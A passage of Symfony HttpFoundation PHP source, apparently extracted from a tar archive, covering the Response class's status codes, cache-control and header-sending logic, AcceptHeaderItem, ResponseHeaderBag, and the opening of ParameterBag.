HTTP_RESPONSE_CACHE_CONTROL_DIRECTIVES = [ 'must_revalidate' => false, 'no_cache' => false, 'no_store' => false, 'no_transform' => false, 'public' => false, 'private' => false, 'proxy_revalidate' => false, 'max_age' => true, 's_maxage' => true, 'stale_if_error' => true, // RFC5861 'stale_while_revalidate' => true, // RFC5861 'immutable' => false, 'last_modified' => true, 'etag' => true, ]; /** * @var ResponseHeaderBag */ public $headers; /** * @var string */ protected $content; /** * @var string */ protected $version; /** * @var int */ protected $statusCode; /** * @var string */ protected $statusText; /** * @var string */ protected $charset; /** * Status codes translation table. * * The list of codes is complete according to the * {@link https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml Hypertext Transfer Protocol (HTTP) Status Code Registry} * (last updated 2021-10-01). * * Unless otherwise noted, the status code is defined in RFC2616. * * @var array */ public static $statusTexts = [ 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', // RFC2518 103 => 'Early Hints', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-Status', // RFC4918 208 => 'Already Reported', // RFC5842 226 => 'IM Used', // RFC3229 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', // RFC7238 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Content Too Large', // RFC-ietf-httpbis-semantics 414 => 'URI Too Long', 415 => 'Unsupported Media Type', 416 => 'Range Not Satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', // RFC2324 421 => 'Misdirected Request', // RFC7540 422 => 'Unprocessable Content', // RFC-ietf-httpbis-semantics 423 => 'Locked', // RFC4918 424 => 'Failed Dependency', // RFC4918 425 => 'Too Early', // RFC-ietf-httpbis-replay-04 426 => 'Upgrade Required', // RFC2817 428 => 'Precondition Required', // RFC6585 429 => 'Too Many Requests', // RFC6585 431 => 'Request Header Fields Too Large', // RFC6585 451 => 'Unavailable For Legal Reasons', // RFC7725 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 506 => 'Variant Also Negotiates', // RFC2295 507 => 'Insufficient Storage', // RFC4918 508 => 'Loop Detected', // RFC5842 510 => 'Not Extended', // RFC2774 511 => 'Network Authentication Required', // RFC6585 ]; /** * Tracks headers already sent in informational responses. */ private array $sentHeaders; /** * @param int $status The HTTP status code (200 "OK" by default) * * @throws \InvalidArgumentException When the HTTP status code is not valid */ public function __construct(?string $content = '', int $status = 200, array $headers = []) { $this->headers = new ResponseHeaderBag($headers); $this->setContent($content); $this->setStatusCode($status); $this->setProtocolVersion('1.0'); } /** * Returns the Response as an HTTP string. * * The string representation of the Response is the same as the * one that will be sent to the client only if the prepare() method * has been called before. * * @see prepare() */ public function __toString(): string { return sprintf('HTTP/%s %s %s', $this->version, $this->statusCode, $this->statusText)."\r\n". $this->headers."\r\n". $this->getContent(); } /** * Clones the current Response instance. */ public function __clone() { $this->headers = clone $this->headers; } /** * Prepares the Response before it is sent to the client. * * This method tweaks the Response to ensure that it is * compliant with RFC 2616. Most of the changes are based on * the Request that is "associated" with this Response. * * @return $this */ public function prepare(Request $request): static { $headers = $this->headers; if ($this->isInformational() || $this->isEmpty()) { $this->setContent(null); $headers->remove('Content-Type'); $headers->remove('Content-Length'); // prevent PHP from sending the Content-Type header based on default_mimetype ini_set('default_mimetype', ''); } else { // Content-type based on the Request if (!$headers->has('Content-Type')) { $format = $request->getRequestFormat(null); if (null !== $format && $mimeType = $request->getMimeType($format)) { $headers->set('Content-Type', $mimeType); } } // Fix Content-Type $charset = $this->charset ?: 'UTF-8'; if (!$headers->has('Content-Type')) { $headers->set('Content-Type', 'text/html; charset='.$charset); } elseif (0 === stripos($headers->get('Content-Type') ?? '', 'text/') && false === stripos($headers->get('Content-Type') ?? '', 'charset')) { // add the charset $headers->set('Content-Type', $headers->get('Content-Type').'; charset='.$charset); } // Fix Content-Length if ($headers->has('Transfer-Encoding')) { $headers->remove('Content-Length'); } if ($request->isMethod('HEAD')) { // cf. RFC2616 14.13 $length = $headers->get('Content-Length'); $this->setContent(null); if ($length) { $headers->set('Content-Length', $length); } } } // Fix protocol if ('HTTP/1.0' != $request->server->get('SERVER_PROTOCOL')) { $this->setProtocolVersion('1.1'); } // Check if we need to send extra expire info headers if ('1.0' == $this->getProtocolVersion() && str_contains($headers->get('Cache-Control', ''), 'no-cache')) { $headers->set('pragma', 'no-cache'); $headers->set('expires', -1); } $this->ensureIEOverSSLCompatibility($request); if ($request->isSecure()) { foreach ($headers->getCookies() as $cookie) { $cookie->setSecureDefault(true); } } return $this; } /** * Sends HTTP headers. * * @param null|positive-int $statusCode The status code to use, override the statusCode property if set and not null * * @return $this */ public function sendHeaders(/* int $statusCode = null */): static { // headers have already been sent by the developer if (headers_sent()) { return $this; } $statusCode = \func_num_args() > 0 ? func_get_arg(0) : null; $informationalResponse = $statusCode >= 100 && $statusCode < 200; if ($informationalResponse && !\function_exists('headers_send')) { // skip informational responses if not supported by the SAPI return $this; } // headers foreach ($this->headers->allPreserveCaseWithoutCookies() as $name => $values) { $newValues = $values; $replace = false; // As recommended by RFC 8297, PHP automatically copies headers from previous 103 responses, we need to deal with that if headers changed if (103 === $statusCode) { $previousValues = $this->sentHeaders[$name] ?? null; if ($previousValues === $values) { // Header already sent in a previous response, it will be automatically copied in this response by PHP continue; } $replace = 0 === strcasecmp($name, 'Content-Type'); if (null !== $previousValues && array_diff($previousValues, $values)) { header_remove($name); $previousValues = null; } $newValues = null === $previousValues ? $values : array_diff($values, $previousValues); } foreach ($newValues as $value) { header($name.': '.$value, $replace, $this->statusCode); } if ($informationalResponse) { $this->sentHeaders[$name] = $values; } } // cookies foreach ($this->headers->getCookies() as $cookie) { header('Set-Cookie: '.$cookie, false, $this->statusCode); } if ($informationalResponse) { headers_send($statusCode); return $this; } $statusCode ??= $this->statusCode; // status header(sprintf('HTTP/%s %s %s', $this->version, $statusCode, $this->statusText), true, $statusCode); return $this; } /** * Sends content for the current web response. * * @return $this */ public function sendContent(): static { echo $this->content; return $this; } /** * Sends HTTP headers and content. * * @return $this */ public function send(): static { $this->sendHeaders(); $this->sendContent(); if (\function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } elseif (\function_exists('litespeed_finish_request')) { litespeed_finish_request(); } elseif (!\in_array(\PHP_SAPI, ['cli', 'phpdbg'], true)) { static::closeOutputBuffers(0, true); flush(); } return $this; } /** * Sets the response content. * * @return $this */ public function setContent(?string $content): static { $this->content = $content ?? ''; return $this; } /** * Gets the current response content. */ public function getContent(): string|false { return $this->content; } /** * Sets the HTTP protocol version (1.0 or 1.1). * * @return $this * * @final */ public function setProtocolVersion(string $version): static { $this->version = $version; return $this; } /** * Gets the HTTP protocol version. * * @final */ public function getProtocolVersion(): string { return $this->version; } /** * Sets the response status code. * * If the status text is null it will be automatically populated for the known * status codes and left empty otherwise. * * @return $this * * @throws \InvalidArgumentException When the HTTP status code is not valid * * @final */ public function setStatusCode(int $code, string $text = null): static { $this->statusCode = $code; if ($this->isInvalid()) { throw new \InvalidArgumentException(sprintf('The HTTP status code "%s" is not valid.', $code)); } if (null === $text) { $this->statusText = self::$statusTexts[$code] ?? 'unknown status'; return $this; } if (false === $text) { $this->statusText = ''; return $this; } $this->statusText = $text; return $this; } /** * Retrieves the status code for the current web response. * * @final */ public function getStatusCode(): int { return $this->statusCode; } /** * Sets the response charset. * * @return $this * * @final */ public function setCharset(string $charset): static { $this->charset = $charset; return $this; } /** * Retrieves the response charset. * * @final */ public function getCharset(): ?string { return $this->charset; } /** * Returns true if the response may safely be kept in a shared (surrogate) cache. * * Responses marked "private" with an explicit Cache-Control directive are * considered uncacheable. * * Responses with neither a freshness lifetime (Expires, max-age) nor cache * validator (Last-Modified, ETag) are considered uncacheable because there is * no way to tell when or how to remove them from the cache. * * Note that RFC 7231 and RFC 7234 possibly allow for a more permissive implementation, * for example "status codes that are defined as cacheable by default [...] * can be reused by a cache with heuristic expiration unless otherwise indicated" * (https://tools.ietf.org/html/rfc7231#section-6.1) * * @final */ public function isCacheable(): bool { if (!\in_array($this->statusCode, [200, 203, 300, 301, 302, 404, 410])) { return false; } if ($this->headers->hasCacheControlDirective('no-store') || $this->headers->getCacheControlDirective('private')) { return false; } return $this->isValidateable() || $this->isFresh(); } /** * Returns true if the response is "fresh". * * Fresh responses may be served from cache without any interaction with the * origin. A response is considered fresh when it includes a Cache-Control/max-age * indicator or Expires header and the calculated age is less than the freshness lifetime. * * @final */ public function isFresh(): bool { return $this->getTtl() > 0; } /** * Returns true if the response includes headers that can be used to validate * the response with the origin server using a conditional GET request. * * @final */ public function isValidateable(): bool { return $this->headers->has('Last-Modified') || $this->headers->has('ETag'); } /** * Marks the response as "private". * * It makes the response ineligible for serving other clients. * * @return $this * * @final */ public function setPrivate(): static { $this->headers->removeCacheControlDirective('public'); $this->headers->addCacheControlDirective('private'); return $this; } /** * Marks the response as "public". * * It makes the response eligible for serving other clients. * * @return $this * * @final */ public function setPublic(): static { $this->headers->addCacheControlDirective('public'); $this->headers->removeCacheControlDirective('private'); return $this; } /** * Marks the response as "immutable". * * @return $this * * @final */ public function setImmutable(bool $immutable = true): static { if ($immutable) { $this->headers->addCacheControlDirective('immutable'); } else { $this->headers->removeCacheControlDirective('immutable'); } return $this; } /** * Returns true if the response is marked as "immutable". * * @final */ public function isImmutable(): bool { return $this->headers->hasCacheControlDirective('immutable'); } /** * Returns true if the response must be revalidated by shared caches once it has become stale. * * This method indicates that the response must not be served stale by a * cache in any circumstance without first revalidating with the origin. * When present, the TTL of the response should not be overridden to be * greater than the value provided by the origin. * * @final */ public function mustRevalidate(): bool { return $this->headers->hasCacheControlDirective('must-revalidate') || $this->headers->hasCacheControlDirective('proxy-revalidate'); } /** * Returns the Date header as a DateTime instance. * * @throws \RuntimeException When the header is not parseable * * @final */ public function getDate(): ?\DateTimeInterface { return $this->headers->getDate('Date'); } /** * Sets the Date header. * * @return $this * * @final */ public function setDate(\DateTimeInterface $date): static { if ($date instanceof \DateTime) { $date = \DateTimeImmutable::createFromMutable($date); } $date = $date->setTimezone(new \DateTimeZone('UTC')); $this->headers->set('Date', $date->format('D, d M Y H:i:s').' GMT'); return $this; } /** * Returns the age of the response in seconds. * * @final */ public function getAge(): int { if (null !== $age = $this->headers->get('Age')) { return (int) $age; } return max(time() - (int) $this->getDate()->format('U'), 0); } /** * Marks the response stale by setting the Age header to be equal to the maximum age of the response. * * @return $this */ public function expire(): static { if ($this->isFresh()) { $this->headers->set('Age', $this->getMaxAge()); $this->headers->remove('Expires'); } return $this; } /** * Returns the value of the Expires header as a DateTime instance. * * @final */ public function getExpires(): ?\DateTimeInterface { try { return $this->headers->getDate('Expires'); } catch (\RuntimeException) { // according to RFC 2616 invalid date formats (e.g. "0" and "-1") must be treated as in the past return \DateTime::createFromFormat('U', time() - 172800); } } /** * Sets the Expires HTTP header with a DateTime instance. * * Passing null as value will remove the header. * * @return $this * * @final */ public function setExpires(\DateTimeInterface $date = null): static { if (1 > \func_num_args()) { trigger_deprecation('symfony/http-foundation', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } if (null === $date) { $this->headers->remove('Expires'); return $this; } if ($date instanceof \DateTime) { $date = \DateTimeImmutable::createFromMutable($date); } $date = $date->setTimezone(new \DateTimeZone('UTC')); $this->headers->set('Expires', $date->format('D, d M Y H:i:s').' GMT'); return $this; } /** * Returns the number of seconds after the time specified in the response's Date * header when the response should no longer be considered fresh. * * First, it checks for a s-maxage directive, then a max-age directive, and then it falls * back on an expires header. It returns null when no maximum age can be established. * * @final */ public function getMaxAge(): ?int { if ($this->headers->hasCacheControlDirective('s-maxage')) { return (int) $this->headers->getCacheControlDirective('s-maxage'); } if ($this->headers->hasCacheControlDirective('max-age')) { return (int) $this->headers->getCacheControlDirective('max-age'); } if (null !== $expires = $this->getExpires()) { $maxAge = (int) $expires->format('U') - (int) $this->getDate()->format('U'); return max($maxAge, 0); } return null; } /** * Sets the number of seconds after which the response should no longer be considered fresh. * * This methods sets the Cache-Control max-age directive. * * @return $this * * @final */ public function setMaxAge(int $value): static { $this->headers->addCacheControlDirective('max-age', $value); return $this; } /** * Sets the number of seconds after which the response should no longer be returned by shared caches when backend is down. * * This method sets the Cache-Control stale-if-error directive. * * @return $this * * @final */ public function setStaleIfError(int $value): static { $this->headers->addCacheControlDirective('stale-if-error', $value); return $this; } /** * Sets the number of seconds after which the response should no longer return stale content by shared caches. * * This method sets the Cache-Control stale-while-revalidate directive. * * @return $this * * @final */ public function setStaleWhileRevalidate(int $value): static { $this->headers->addCacheControlDirective('stale-while-revalidate', $value); return $this; } /** * Sets the number of seconds after which the response should no longer be considered fresh by shared caches. * * This methods sets the Cache-Control s-maxage directive. * * @return $this * * @final */ public function setSharedMaxAge(int $value): static { $this->setPublic(); $this->headers->addCacheControlDirective('s-maxage', $value); return $this; } /** * Returns the response's time-to-live in seconds. * * It returns null when no freshness information is present in the response. * * When the response's TTL is 0, the response may not be served from cache without first * revalidating with the origin. * * @final */ public function getTtl(): ?int { $maxAge = $this->getMaxAge(); return null !== $maxAge ? max($maxAge - $this->getAge(), 0) : null; } /** * Sets the response's time-to-live for shared caches in seconds. * * This method adjusts the Cache-Control/s-maxage directive. * * @return $this * * @final */ public function setTtl(int $seconds): static { $this->setSharedMaxAge($this->getAge() + $seconds); return $this; } /** * Sets the response's time-to-live for private/client caches in seconds. * * This method adjusts the Cache-Control/max-age directive. * * @return $this * * @final */ public function setClientTtl(int $seconds): static { $this->setMaxAge($this->getAge() + $seconds); return $this; } /** * Returns the Last-Modified HTTP header as a DateTime instance. * * @throws \RuntimeException When the HTTP header is not parseable * * @final */ public function getLastModified(): ?\DateTimeInterface { return $this->headers->getDate('Last-Modified'); } /** * Sets the Last-Modified HTTP header with a DateTime instance. * * Passing null as value will remove the header. * * @return $this * * @final */ public function setLastModified(\DateTimeInterface $date = null): static { if (1 > \func_num_args()) { trigger_deprecation('symfony/http-foundation', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } if (null === $date) { $this->headers->remove('Last-Modified'); return $this; } if ($date instanceof \DateTime) { $date = \DateTimeImmutable::createFromMutable($date); } $date = $date->setTimezone(new \DateTimeZone('UTC')); $this->headers->set('Last-Modified', $date->format('D, d M Y H:i:s').' GMT'); return $this; } /** * Returns the literal value of the ETag HTTP header. * * @final */ public function getEtag(): ?string { return $this->headers->get('ETag'); } /** * Sets the ETag value. * * @param string|null $etag The ETag unique identifier or null to remove the header * @param bool $weak Whether you want a weak ETag or not * * @return $this * * @final */ public function setEtag(string $etag = null, bool $weak = false): static { if (1 > \func_num_args()) { trigger_deprecation('symfony/http-foundation', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } if (null === $etag) { $this->headers->remove('Etag'); } else { if (!str_starts_with($etag, '"')) { $etag = '"'.$etag.'"'; } $this->headers->set('ETag', (true === $weak ? 'W/' : '').$etag); } return $this; } /** * Sets the response's cache headers (validation and/or expiration). * * Available options are: must_revalidate, no_cache, no_store, no_transform, public, private, proxy_revalidate, max_age, s_maxage, immutable, last_modified and etag. * * @return $this * * @throws \InvalidArgumentException * * @final */ public function setCache(array $options): static { if ($diff = array_diff(array_keys($options), array_keys(self::HTTP_RESPONSE_CACHE_CONTROL_DIRECTIVES))) { throw new \InvalidArgumentException(sprintf('Response does not support the following options: "%s".', implode('", "', $diff))); } if (isset($options['etag'])) { $this->setEtag($options['etag']); } if (isset($options['last_modified'])) { $this->setLastModified($options['last_modified']); } if (isset($options['max_age'])) { $this->setMaxAge($options['max_age']); } if (isset($options['s_maxage'])) { $this->setSharedMaxAge($options['s_maxage']); } if (isset($options['stale_while_revalidate'])) { $this->setStaleWhileRevalidate($options['stale_while_revalidate']); } if (isset($options['stale_if_error'])) { $this->setStaleIfError($options['stale_if_error']); } foreach (self::HTTP_RESPONSE_CACHE_CONTROL_DIRECTIVES as $directive => $hasValue) { if (!$hasValue && isset($options[$directive])) { if ($options[$directive]) { $this->headers->addCacheControlDirective(str_replace('_', '-', $directive)); } else { $this->headers->removeCacheControlDirective(str_replace('_', '-', $directive)); } } } if (isset($options['public'])) { if ($options['public']) { $this->setPublic(); } else { $this->setPrivate(); } } if (isset($options['private'])) { if ($options['private']) { $this->setPrivate(); } else { $this->setPublic(); } } return $this; } /** * Modifies the response so that it conforms to the rules defined for a 304 status code. * * This sets the status, removes the body, and discards any headers * that MUST NOT be included in 304 responses. * * @return $this * * @see https://tools.ietf.org/html/rfc2616#section-10.3.5 * * @final */ public function setNotModified(): static { $this->setStatusCode(304); $this->setContent(null); // remove headers that MUST NOT be included with 304 Not Modified responses foreach (['Allow', 'Content-Encoding', 'Content-Language', 'Content-Length', 'Content-MD5', 'Content-Type', 'Last-Modified'] as $header) { $this->headers->remove($header); } return $this; } /** * Returns true if the response includes a Vary header. * * @final */ public function hasVary(): bool { return null !== $this->headers->get('Vary'); } /** * Returns an array of header names given in the Vary header. * * @final */ public function getVary(): array { if (!$vary = $this->headers->all('Vary')) { return []; } $ret = []; foreach ($vary as $item) { $ret[] = preg_split('/[\s,]+/', $item); } return array_merge([], ...$ret); } /** * Sets the Vary header. * * @param bool $replace Whether to replace the actual value or not (true by default) * * @return $this * * @final */ public function setVary(string|array $headers, bool $replace = true): static { $this->headers->set('Vary', $headers, $replace); return $this; } /** * Determines if the Response validators (ETag, Last-Modified) match * a conditional value specified in the Request. * * If the Response is not modified, it sets the status code to 304 and * removes the actual content by calling the setNotModified() method. * * @final */ public function isNotModified(Request $request): bool { if (!$request->isMethodCacheable()) { return false; } $notModified = false; $lastModified = $this->headers->get('Last-Modified'); $modifiedSince = $request->headers->get('If-Modified-Since'); if (($ifNoneMatchEtags = $request->getETags()) && (null !== $etag = $this->getEtag())) { if (0 == strncmp($etag, 'W/', 2)) { $etag = substr($etag, 2); } // Use weak comparison as per https://tools.ietf.org/html/rfc7232#section-3.2. foreach ($ifNoneMatchEtags as $ifNoneMatchEtag) { if (0 == strncmp($ifNoneMatchEtag, 'W/', 2)) { $ifNoneMatchEtag = substr($ifNoneMatchEtag, 2); } if ($ifNoneMatchEtag === $etag || '*' === $ifNoneMatchEtag) { $notModified = true; break; } } } // Only do If-Modified-Since date comparison when If-None-Match is not present as per https://tools.ietf.org/html/rfc7232#section-3.3. elseif ($modifiedSince && $lastModified) { $notModified = strtotime($modifiedSince) >= strtotime($lastModified); } if ($notModified) { $this->setNotModified(); } return $notModified; } /** * Is response invalid? * * @see https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html * * @final */ public function isInvalid(): bool { return $this->statusCode < 100 || $this->statusCode >= 600; } /** * Is response informative? * * @final */ public function isInformational(): bool { return $this->statusCode >= 100 && $this->statusCode < 200; } /** * Is response successful? * * @final */ public function isSuccessful(): bool { return $this->statusCode >= 200 && $this->statusCode < 300; } /** * Is the response a redirect? * * @final */ public function isRedirection(): bool { return $this->statusCode >= 300 && $this->statusCode < 400; } /** * Is there a client error? * * @final */ public function isClientError(): bool { return $this->statusCode >= 400 && $this->statusCode < 500; } /** * Was there a server side error? * * @final */ public function isServerError(): bool { return $this->statusCode >= 500 && $this->statusCode < 600; } /** * Is the response OK? * * @final */ public function isOk(): bool { return 200 === $this->statusCode; } /** * Is the response forbidden? * * @final */ public function isForbidden(): bool { return 403 === $this->statusCode; } /** * Is the response a not found error? * * @final */ public function isNotFound(): bool { return 404 === $this->statusCode; } /** * Is the response a redirect of some form? * * @final */ public function isRedirect(string $location = null): bool { return \in_array($this->statusCode, [201, 301, 302, 303, 307, 308]) && (null === $location ?: $location == $this->headers->get('Location')); } /** * Is the response empty? * * @final */ public function isEmpty(): bool { return \in_array($this->statusCode, [204, 304]); } /** * Cleans or flushes output buffers up to target level. * * Resulting level can be greater than target level if a non-removable buffer has been encountered. * * @final */ public static function closeOutputBuffers(int $targetLevel, bool $flush): void { $status = ob_get_status(true); $level = \count($status); $flags = \PHP_OUTPUT_HANDLER_REMOVABLE | ($flush ? \PHP_OUTPUT_HANDLER_FLUSHABLE : \PHP_OUTPUT_HANDLER_CLEANABLE); while ($level-- > $targetLevel && ($s = $status[$level]) && (!isset($s['del']) ? !isset($s['flags']) || ($s['flags'] & $flags) === $flags : $s['del'])) { if ($flush) { ob_end_flush(); } else { ob_end_clean(); } } } /** * Marks a response as safe according to RFC8674. * * @see https://tools.ietf.org/html/rfc8674 */ public function setContentSafe(bool $safe = true): void { if ($safe) { $this->headers->set('Preference-Applied', 'safe'); } elseif ('safe' === $this->headers->get('Preference-Applied')) { $this->headers->remove('Preference-Applied'); } $this->setVary('Prefer', false); } /** * Checks if we need to remove Cache-Control for SSL encrypted downloads when using IE < 9. * * @see http://support.microsoft.com/kb/323308 * * @final */ protected function ensureIEOverSSLCompatibility(Request $request): void { if (false !== stripos($this->headers->get('Content-Disposition') ?? '', 'attachment') && 1 == preg_match('/MSIE (.*?);/i', $request->server->get('HTTP_USER_AGENT') ?? '', $match) && true === $request->isSecure()) { if ((int) preg_replace('/(MSIE )(.*?);/', '$2', $match[0]) < 9) { $this->headers->remove('Cache-Control'); } } } } http-foundation/AcceptHeaderItem.php000064400000006301151113511500013520 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * Represents an Accept-* header item. * * @author Jean-François Simon */ class AcceptHeaderItem { private string $value; private float $quality = 1.0; private int $index = 0; private array $attributes = []; public function __construct(string $value, array $attributes = []) { $this->value = $value; foreach ($attributes as $name => $value) { $this->setAttribute($name, $value); } } /** * Builds an AcceptHeaderInstance instance from a string. */ public static function fromString(?string $itemValue): self { $parts = HeaderUtils::split($itemValue ?? '', ';='); $part = array_shift($parts); $attributes = HeaderUtils::combine($parts); return new self($part[0], $attributes); } /** * Returns header value's string representation. */ public function __toString(): string { $string = $this->value.($this->quality < 1 ? ';q='.$this->quality : ''); if (\count($this->attributes) > 0) { $string .= '; '.HeaderUtils::toString($this->attributes, ';'); } return $string; } /** * Set the item value. * * @return $this */ public function setValue(string $value): static { $this->value = $value; return $this; } /** * Returns the item value. */ public function getValue(): string { return $this->value; } /** * Set the item quality. * * @return $this */ public function setQuality(float $quality): static { $this->quality = $quality; return $this; } /** * Returns the item quality. */ public function getQuality(): float { return $this->quality; } /** * Set the item index. * * @return $this */ public function setIndex(int $index): static { $this->index = $index; return $this; } /** * Returns the item index. */ public function getIndex(): int { return $this->index; } /** * Tests if an attribute exists. */ public function hasAttribute(string $name): bool { return isset($this->attributes[$name]); } /** * Returns an attribute by its name. */ public function getAttribute(string $name, mixed $default = null): mixed { return $this->attributes[$name] ?? $default; } /** * Returns all attributes. */ public function getAttributes(): array { return $this->attributes; } /** * Set an attribute. * * @return $this */ public function setAttribute(string $name, string $value): static { if ('q' === $name) { $this->quality = (float) $value; } else { $this->attributes[$name] = $value; } return $this; } } http-foundation/ResponseHeaderBag.php000064400000017443151113511510013724 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * ResponseHeaderBag is a container for Response HTTP headers. * * @author Fabien Potencier */ class ResponseHeaderBag extends HeaderBag { public const COOKIES_FLAT = 'flat'; public const COOKIES_ARRAY = 'array'; public const DISPOSITION_ATTACHMENT = 'attachment'; public const DISPOSITION_INLINE = 'inline'; protected $computedCacheControl = []; protected $cookies = []; protected $headerNames = []; public function __construct(array $headers = []) { parent::__construct($headers); if (!isset($this->headers['cache-control'])) { $this->set('Cache-Control', ''); } /* RFC2616 - 14.18 says all Responses need to have a Date */ if (!isset($this->headers['date'])) { $this->initDate(); } } /** * Returns the headers, with original capitalizations. */ public function allPreserveCase(): array { $headers = []; foreach ($this->all() as $name => $value) { $headers[$this->headerNames[$name] ?? $name] = $value; } return $headers; } /** * @return array */ public function allPreserveCaseWithoutCookies() { $headers = $this->allPreserveCase(); if (isset($this->headerNames['set-cookie'])) { unset($headers[$this->headerNames['set-cookie']]); } return $headers; } /** * @return void */ public function replace(array $headers = []) { $this->headerNames = []; parent::replace($headers); if (!isset($this->headers['cache-control'])) { $this->set('Cache-Control', ''); } if (!isset($this->headers['date'])) { $this->initDate(); } } public function all(string $key = null): array { $headers = parent::all(); if (null !== $key) { $key = strtr($key, self::UPPER, self::LOWER); return 'set-cookie' !== $key ? $headers[$key] ?? [] : array_map('strval', $this->getCookies()); } foreach ($this->getCookies() as $cookie) { $headers['set-cookie'][] = (string) $cookie; } return $headers; } /** * @return void */ public function set(string $key, string|array|null $values, bool $replace = true) { $uniqueKey = strtr($key, self::UPPER, self::LOWER); if ('set-cookie' === $uniqueKey) { if ($replace) { $this->cookies = []; } foreach ((array) $values as $cookie) { $this->setCookie(Cookie::fromString($cookie)); } $this->headerNames[$uniqueKey] = $key; return; } $this->headerNames[$uniqueKey] = $key; parent::set($key, $values, $replace); // ensure the cache-control header has sensible defaults if (\in_array($uniqueKey, ['cache-control', 'etag', 'last-modified', 'expires'], true) && '' !== $computed = $this->computeCacheControlValue()) { $this->headers['cache-control'] = [$computed]; $this->headerNames['cache-control'] = 'Cache-Control'; $this->computedCacheControl = $this->parseCacheControl($computed); } } /** * @return void */ public function remove(string $key) { $uniqueKey = strtr($key, self::UPPER, self::LOWER); unset($this->headerNames[$uniqueKey]); if ('set-cookie' === $uniqueKey) { $this->cookies = []; return; } parent::remove($key); if ('cache-control' === $uniqueKey) { $this->computedCacheControl = []; } if ('date' === $uniqueKey) { $this->initDate(); } } public function hasCacheControlDirective(string $key): bool { return \array_key_exists($key, $this->computedCacheControl); } public function getCacheControlDirective(string $key): bool|string|null { return $this->computedCacheControl[$key] ?? null; } /** * @return void */ public function setCookie(Cookie $cookie) { $this->cookies[$cookie->getDomain()][$cookie->getPath()][$cookie->getName()] = $cookie; $this->headerNames['set-cookie'] = 'Set-Cookie'; } /** * Removes a cookie from the array, but does not unset it in the browser. * * @return void */ public function removeCookie(string $name, ?string $path = '/', string $domain = null) { $path ??= '/'; unset($this->cookies[$domain][$path][$name]); if (empty($this->cookies[$domain][$path])) { unset($this->cookies[$domain][$path]); if (empty($this->cookies[$domain])) { unset($this->cookies[$domain]); } } if (empty($this->cookies)) { unset($this->headerNames['set-cookie']); } } /** * Returns an array with all cookies. * * @return Cookie[] * * @throws \InvalidArgumentException When the $format is invalid */ public function getCookies(string $format = self::COOKIES_FLAT): array { if (!\in_array($format, [self::COOKIES_FLAT, self::COOKIES_ARRAY])) { throw new \InvalidArgumentException(sprintf('Format "%s" invalid (%s).', $format, implode(', ', [self::COOKIES_FLAT, self::COOKIES_ARRAY]))); } if (self::COOKIES_ARRAY === $format) { return $this->cookies; } $flattenedCookies = []; foreach ($this->cookies as $path) { foreach ($path as $cookies) { foreach ($cookies as $cookie) { $flattenedCookies[] = $cookie; } } } return $flattenedCookies; } /** * Clears a cookie in the browser. * * @return void */ public function clearCookie(string $name, ?string $path = '/', string $domain = null, bool $secure = false, bool $httpOnly = true, string $sameSite = null) { $this->setCookie(new Cookie($name, null, 1, $path, $domain, $secure, $httpOnly, false, $sameSite)); } /** * @see HeaderUtils::makeDisposition() * * @return string */ public function makeDisposition(string $disposition, string $filename, string $filenameFallback = '') { return HeaderUtils::makeDisposition($disposition, $filename, $filenameFallback); } /** * Returns the calculated value of the cache-control header. * * This considers several other headers and calculates or modifies the * cache-control header to a sensible, conservative value. */ protected function computeCacheControlValue(): string { if (!$this->cacheControl) { if ($this->has('Last-Modified') || $this->has('Expires')) { return 'private, must-revalidate'; // allows for heuristic expiration (RFC 7234 Section 4.2.2) in the case of "Last-Modified" } // conservative by default return 'no-cache, private'; } $header = $this->getCacheControlHeader(); if (isset($this->cacheControl['public']) || isset($this->cacheControl['private'])) { return $header; } // public if s-maxage is defined, private otherwise if (!isset($this->cacheControl['s-maxage'])) { return $header.', private'; } return $header; } private function initDate(): void { $this->set('Date', gmdate('D, d M Y H:i:s').' GMT'); } } http-foundation/ParameterBag.php000064400000016614151113511510012734 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; use Symfony\Component\HttpFoundation\Exception\BadRequestException; /** * ParameterBag is a container for key/value pairs. * * @author Fabien Potencier * * @implements \IteratorAggregate */ class ParameterBag implements \IteratorAggregate, \Countable { /** * Parameter storage. */ protected $parameters; public function __construct(array $parameters = []) { $this->parameters = $parameters; } /** * Returns the parameters. * * @param string|null $key The name of the parameter to return or null to get them all */ public function all(string $key = null): array { if (null === $key) { return $this->parameters; } if (!\is_array($value = $this->parameters[$key] ?? [])) { throw new BadRequestException(sprintf('Unexpected value for parameter "%s": expecting "array", got "%s".', $key, get_debug_type($value))); } return $value; } /** * Returns the parameter keys. */ public function keys(): array { return array_keys($this->parameters); } /** * Replaces the current parameters by a new set. * * @return void */ public function replace(array $parameters = []) { $this->parameters = $parameters; } /** * Adds parameters. * * @return void */ public function add(array $parameters = []) { $this->parameters = array_replace($this->parameters, $parameters); } public function get(string $key, mixed $default = null): mixed { return \array_key_exists($key, $this->parameters) ? $this->parameters[$key] : $default; } /** * @return void */ public function set(string $key, mixed $value) { 